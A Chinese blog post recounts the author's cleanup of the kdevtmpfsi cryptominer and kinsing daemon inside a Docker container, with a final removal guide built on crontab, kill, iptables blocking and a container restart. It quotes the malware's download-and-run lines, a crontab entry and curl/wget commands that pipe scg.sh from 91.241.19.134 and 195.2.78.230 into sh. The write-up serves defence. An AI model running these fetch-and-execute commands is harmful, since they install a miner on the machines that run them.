清除Docker中的kdevtmpfsi挖矿病毒

开端

【阿里云】尊敬的吴彦祖:
经检测您的阿里云服务(ECS实例)存在挖矿活动。根据相关法规、政策的规定及监管部门的要求,请您于2022-08-15 00时前完成挖矿问题整改,否则您的服务将被关停,详情请查看邮件或阿里云站内消息通知。
若您有其他问题,可登陆阿里云官网在线咨询

一条短信,开始了和kdevtmpfsi的故事。

初识

登录服务器,top -c 看下进程信息:

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
3195280 root      20   0  714116 267756   2708 S  99.7  14.4     19:05.65 /tmp/kdevtmpfsi 

发现/tmp/kdevtmpfsi占据了99.7%的CPU资源。

毫无疑问,这家伙应该就是挖矿病毒了。

百度一波后发现,确实是它,以及它还有一个叫kinsing的守护进程,ps -ef | grep kinsing

root     3195051 3142956  0 22:13 pts/0    00:00:00 /etc/kinsing

初次交锋

直接 kill -9 3195051 3195280 杀一波进程。

top -c 再次查看进程,挖矿无了,CPU恢复正常。

正准备鸣金收兵,竟发现:

阿里云控制台ECS实例的CPU曲线居然又拉了起来。

事情并不简单

看来不止是杀个进程这么简单。

问了一嘴阿里云客服,对方丢过来一份挖矿程序处理最佳实践

简单总结就是:

删除执行文件 => 杀进程 => 检查并清除异常端口 => 检查并清除异常定时任务

试一下。

一、删除执行文件

ps -ef | grep kdevtmpfsi 看下新起进程PID:

root    3197558    3142956    95    23:10    ?    00:40:19    /tmp/kdevtmpfsi

说明病毒的执行文件为 /tmp/kdevtmpfsi

head /tmp/kdevtmpfsi 大致看一下却提示:

head: 无法打开'/tmp/kdevtmpfsi' 读取数据: 没有那个文件或目录

居然没有这个文件?

难道病毒在容器里?

docker stats 看一眼容器状态:

CONTAINER ID   NAME              CPU %     MEM USAGE / LIMIT     MEM %     NET I/O           BLOCK I/O        PIDS
68825e3ec789   gateway-service   100.55%   810.7MiB / 1.776GiB   44.58%    0B / 0B           293MB / 52.2MB   107
1fcf77218204   watchtower        0.00%     12.2MiB / 1.776GiB    0.67%     8.03MB / 1.82MB   30MB / 0B        8
2a5700773074   nginx             0.00%     7.227MiB / 1.776GiB   0.40%     172GB / 172GB     33.8MB / 0B      3

真的在容器里!

docker exec -it 68825e3ec789 /bin/bash 进容器看看。

top -c 看下容器的进程:

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
  13786 root      20   0  714116 268084   2708 S  99.7  14.4  67:42.02 /tmp/kdevtmpfsi 

是他了。

head /tmp/kdevtmpfsi 大致看下病毒的执行文件:

ELF>U@@p?8@8@@@?8?8 8??t??
 ??@?@DD8??(?Q?tdR?td8???W?WGNUGNU9Xj)3???<h?|??`?%
                                                   d?`?%pnd?`?%Pad?`?%Nd?`?%pnd?`?%0Qdx`?%??fp`?%@-dh`?%??d``?%0?dX`?%mdP`?%??hH`?%?}l@`?% nd8`?%d0`?%?\d(`?%`.d `?%??d`?% gdH?H?E\XH??t?K???H???%R\Xh??%J\Xh??%B\Xh??%:\Xh??%2\Xh??%*\Xh??%"\Xh??%\Xh??%\Xh??%
\Xh??%\Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh?H??H??H?|$?[?USH??H??H??u&H?.?H?TH?4$?9??TH?4$H?H?H??H??u1??6H?TH?4$?.?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐH?H?PH??ÐUH??SH??H??H?G@H+G8H??H? ??T$
                                                  ??T$
                                                      H?C8H?HH??H?K8t8H???`?mH?HE?f?@H???H#?@?H    ?H?H??[]?USH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?

全是密文。

rm -f /tmp/kdevtmpfsi 删除。

可是,报错了:

rm: cannot remove '/tmp/kdevtmpfsi': Stale file handle

无法删除。

百度了一波,也没找到有效信息,甚至发了个新的提问

这一步无奈只能暂时跳过...ORZ

二、杀进程

这个上面有,不再赘述。

三、检查并清除异常端口

无异常。

四、检查并清除异常定时任务

crontab -l 果然有定时任务:

* * * * * wget -q -O - http://91.241.19.134/scg.sh | sh > /dev/null 2>&1

百度了一下这个IP:

91.241.19.134 来自俄罗斯·莫斯科

crontab -r 删它。

这一套下来,进程终止了,定时任务也删除了,虽然病毒文件没有删除,但想到定时任务已经被删除,应该没什么问题了。

气氛逐渐焦灼

但是

过了约20分钟,kdevtmpfsi 进程又重新起来了,并且随着新起的病毒进程,容器里面竟然也有了个新的定时任务

这不对啊,定时任务怎么也有复活甲???

难道定时任务的背后还存在定时任务?

在宿主机和容器中分别执行 for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done 看下所有用户下的定时任务,很遗憾,一个也没有找到。

这是见鬼了啊!很难受。大招连同DF都放了,但是对面居然有无限复活甲。

迎来转机

一筹莫展之际,上面发的那个提问有位北京的大佬回复我说尝试一下重启。

试了一下,进程果然无了。

大佬牛逼。

总结(请跳过,文末已更新解决步骤)

如果你的 Linux 服务器中招 kdevtmpfsi 挖矿病毒,并且该病毒进程存在于 docker 之中,那么你可以尝试以下步骤来解决:

一、查询宿主机中的病毒文件并删除

  1. find / -name "*kdevtmpfsi*" 查询病毒文件。(我这边没有找到)
  2. find / -name "*kinsing*" 查询守护进程文件。(找到两条记录,删除其中任意一条另外一条也随之删除)

二、查询宿主机中的定时任务

  1. crontab -l 查询当前账户下的定时任务。
  2. for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done 查询所有账户下的定时任务。

若有异常定时任务(我这边无),执行 crontab -r 删除。

三、查询病毒所在的容器并进入

  1. docker stats 查询异常容器的 CONTAINER ID
  2. docker exec -it <CONTAINER ID> /bin/bash 进入病毒所在的容器。

四、查询容器中的异常定时任务并清除

  1. crontab -l 查询定时任务
  2. crontab -r 删除定时任务

五、查询病毒的PID及其文件路径

  1. ps -ef | grep kdevtmpfsi 查询病毒的PID及其文件所在位置;
  2. ps -ef | grep kinsing 查询守护进程的PID及其文件所在位置。

六、删除病毒文件

  1. rm -f /etc/kinsing 删除守护进程文件。
  2. rm -f /tmp/kdevtmpfsi 删除病毒文件。

我这边删除会报错。
不过问题不大,你如果也报错,可以直接忽略这一步,不影响最终消灭本次病毒。

七、终止病毒进程

kill -9 <kinsing的PID> <kdevtmpfsi的PID>

八、退出容器并重启

  1. control + P + Q 退出容器
  2. docker restart <CONTAINER ID> 重启容器

时间过了很久,没有新的病毒进程再自动起来。

这次的病毒算是解决了,虽然它下次还会来,但至少掌握了单次解决它的方法。

尽管病毒文件和守护进程文件还在,但应该没啥作用了,如果强迫症觉得这个文件删不掉很难受,可以 vi 进去 dG 删除所有内容后 :wq ,这样一来,和删除其实没啥区别了。


2022-08-12更新

不出意外,半夜阿里云又发来短信通知:

【阿里云】尊敬的吴彦祖:云盾云安全中心检测到您的服务器:出现了紧急安全事件:恶意脚本代码执行,建议您立即登录云安全中心控制台-安全告警处理进行处理。

重复【总结】中的步骤杀完病毒,十分钟后病毒又重新起来。

有点搞人心态,但是病毒还是要杀的,整理一下思路:

在病毒文件和定时任务都被清理的情况下,居然还可以起来,说明这个病毒不再来自容器或者宿主机内部,而是重新从公网下载到容器后再执行。

顺着这个思路重新执行【总结】中的步骤,然后进入容器,top -c 蹲每一个进程,发现以下两个进程:

curl -s 195.2.78.230/scg.sh

/bin/sh -c (curl -s 195.2.78.230/scg.sh||wget -q -O- 195.2.78.230/scg.sh)|sh

猜测得到证实,首先想到的就是阻止这些脚本的周期性执行,但我对此似乎无能为力,既然如此,那就再换思路,无法阻止你执行,但可以阻止你将病毒文件下载到我的服务器,如何实现,配置防火墙。

执行 iptables -I INPUT -s 195.2.78.230 -j DROP 将来自195.2.78.230的所有文件全部丢弃。

杀进程、清文件,再重启,监控容器进程,虽然上面的两个脚本还是会执行,但病毒文件已经无法再进入服务器了,病毒进程也自然不会再起来。

解决。

最后更新下完整的步骤:

清除步骤

一、查询病毒所在的容器并进入

  1. docker stats 查询病毒所在容器的 CONTAINER ID
  2. docker exec -it <CONTAINER ID /bin/bash 进入病毒所在容器。

二、查询病毒的进程和文件路径

  1. ps -ef | grep kdevtmpfsi 查询病毒的PID及其文件路径
  2. kill -9 <kdevtmpfsi的PID> 终止病毒进程
  3. vi /tmp/kdevtmpfsi 编辑病毒文件
  4. dG 清空病毒文件后 :wq 保存退出
  5. ps -ef | grep kinsing 查询守护进程的PID及其文件路径
  6. kill -9 <kinsing的PID> 终止守护进程
  7. vi /etc/kinsing 编辑守护进程文件
  8. dG 清空守护进程文件后 :wq 保存退出

三、查询定时任务并清除

  1. crontab -l 查询(此处记得记录一下任务中的IP)
  2. crontab -r 清除

四、禁止下载病毒的IP

  1. iptables -I INPUT -s <病毒下载的IP> -j DROP 丢弃来自病毒下载IP的所有数据
  2. iptables -I INPUT -s <定时任务中的IP> -j DROP 丢弃来自定时任务中IP的所有数据
病毒下载的IP如何获取,阿里云的通知里面可以直接查看,也可以在容器中执行 top -c 蹲实时的进程(上文有写)。

五、重启容器

重启容器。


本文完整记录病毒的处理过程,如果你也不幸感染挖矿,希望可以帮到你。

大佬们若有其他解决方式,不吝赐教。

1 篇内容引用

万物之中,简洁最美。

90 声望
4 粉丝
0 条评论
推荐阅读
React中<select/>设置defaultValue不生效?
问题这样一种写法下,defaultValue是不会生效的。 {代码...} 解决给&lt;select/&gt;加个动态key强制执行渲染。 {代码...}

从君华阅读 1.2k

张晋涛:我的 2022 总结
大家好,我是张晋涛。2022 年已经结束,我每年都会惯例的做个小回顾,今年因为阳了在恢复身体,一直拖到了今天才写。生活在 2022 年初做回顾的时候,觉得 2021 是魔幻的一年,但现在看来 2022 年其实更加魔幻。一...

张晋涛6阅读 717评论 2

封面图
Docker学习:Image的本地存储结构
在使用Docker时候,针对镜像的操作一般就是docker pull,docker build,docker commit(刚开始接触Docker的时候,还不会Dockerfile,经常使用这个命令,但是经历了一次血的教训,已经放弃这个命令很久)这些操作...

backbp4阅读 9.7k评论 3

使用docker快速搭建xssPlatform测试平台实践
笔者之前给一些开发团队多次做Web安全开发培训,为了让培训的学员能够理解XSS原理和XSS的危害,将xssPlatform进行了更新,之前一直放在GitHub中;发现关注的人越来越多,很多人在安装的过程中遇到问题不知道怎么...

汤青松1阅读 25.8k

利用Docker部署管理LDAP及其初次使用
前言:本周主要写了gitlabWebhook转github的项目,总体上没有遇到什么大问题,这周接触到了LDAP,于是就花时间实际操作了解了一下。

李明5阅读 901

工具篇:iTerm与Zsh
iTerm2支持许多的主题配色,可以自己定义,也可以参考网上现成的主题配色。我个人比较喜欢draculatheme配色。支持item,vim,phpstorm , 下方存在主题官网路径,按照教程安装即可。

super白4阅读 4.7k

Kubernetes v1.26 新特性一览
我每期的 「k8s生态周报」都有一个叫上游进展的部分,所以很多值得关注的内容在之前的文章中已经发过了。这篇中我会再额外介绍一些之前未涵盖的,和之前介绍过的值得关注的内容。

张晋涛2阅读 648评论 1

封面图

万物之中,简洁最美。

90 声望
4 粉丝
宣传栏